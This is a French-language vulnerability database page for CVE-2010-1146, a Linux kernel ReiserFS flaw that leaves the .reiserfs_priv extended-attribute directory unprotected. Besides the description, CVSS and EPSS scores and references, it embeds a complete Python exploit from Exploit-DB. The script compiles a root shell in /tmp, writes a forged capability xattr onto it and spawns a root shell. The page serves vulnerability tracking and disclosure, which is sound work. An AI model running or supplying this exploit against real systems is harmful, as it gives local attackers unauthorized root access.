CVE-2010-1146 : Détail

CVE-2010-1146

A01-Broken Access Control
0.08%V3
Local
2010-04-12
16h00 +00:00
2017-08-16
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The Linux kernel 2.6.33.2 and earlier, when a ReiserFS filesystem exists, does not restrict read or write access to the .reiserfs_priv directory, which allows local users to gain privileges by modifying (1) extended attributes or (2) ACLs, as demonstrated by deleting a file under .reiserfs_priv/xattrs/.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 12130

Date de publication : 2010-04-08 22h00 +00:00
Auteur : Jon Oberheide
EDB Vérifié : Yes

#!/usr/bin/env python ''' team-edward.py Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation Jon Oberheide <[email protected]> http://jon.oberheide.org Information: https://bugzilla.redhat.com/show_bug.cgi?id=568041 The kernel allows processes to access the internal ".reiserfs_priv" directory at the top of a reiserfs filesystem which is used to store xattrs. Permissions are not enforced in that tree, so unprivileged users can view and potentially modify the xattrs on arbitrary files. Usage: $ python team-edward.py [+] checking for reiserfs mount with user_xattr mount option [+] checking for private xattrs directory at /.reiserfs_priv/xattrs [+] preparing shell in /tmp [+] capturing pre-shell snapshot of private xattrs directory [+] compiling shell in /tmp [+] setting dummy xattr to get reiserfs object id [+] capturing post-shell snapshot of private xattrs directory [+] found 1 new object ids [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468 [+] spawning setuid shell... # id uid=0(root) gid=0(root) groups=4(adm), ... Notes: Obviously requires a ReiserFS filesystem mounted with extended attributes. Tested on Ubuntu Jaunty 9.10. ''' import os, sys SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' def err(txt): print '[-] error: %s' % txt sys.exit(1) def msg(txt): print '[+] %s' % txt def main(): msg('checking for reiserfs mount with user_xattr mount option') f = open('/etc/fstab') for line in f: if 'reiserfs' in line and 'user_xattr' in line: break else: err('failed to find a reiserfs mount with user_xattr') f.close() msg('checking for private xattrs directory at /.reiserfs_priv/xattrs') if not os.path.exists('/.reiserfs_priv/xattrs'): err('failed to locate private xattrs directory') msg('preparing shell in /tmp') f = open('/tmp/team-edward.c', 'w') f.write(SHELL) f.close() msg('capturing pre-shell snapshot of private xattrs directory') pre = set(os.listdir('/.reiserfs_priv/xattrs')) msg('compiling shell in /tmp') ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward') if ret != 0: err('error compiling shell, you need gcc') msg('setting dummy xattr to get reiserfs object id') os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward') if ret != 0: err('error setting xattr, you need setfattr') msg('capturing post-shell snapshot of private xattrs directory') post = set(os.listdir('/.reiserfs_priv/xattrs')) objs = post.difference(pre) msg('found %s new object ids' % len(objs)) for obj in objs: msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') f.write(XATTR) f.close() msg('spawning setuid shell...') os.system('/tmp/team-edward') if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.33.2

Références

http://secunia.com/advisories/39316
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.exploit-db.com/exploits/12130
Tags : exploit, x_refsource_EXPLOIT-DB
http://osvdb.org/63601
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/39344
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=linux-kernel&m=127076012022155&w=2
Tags : mailing-list, x_refsource_MLIST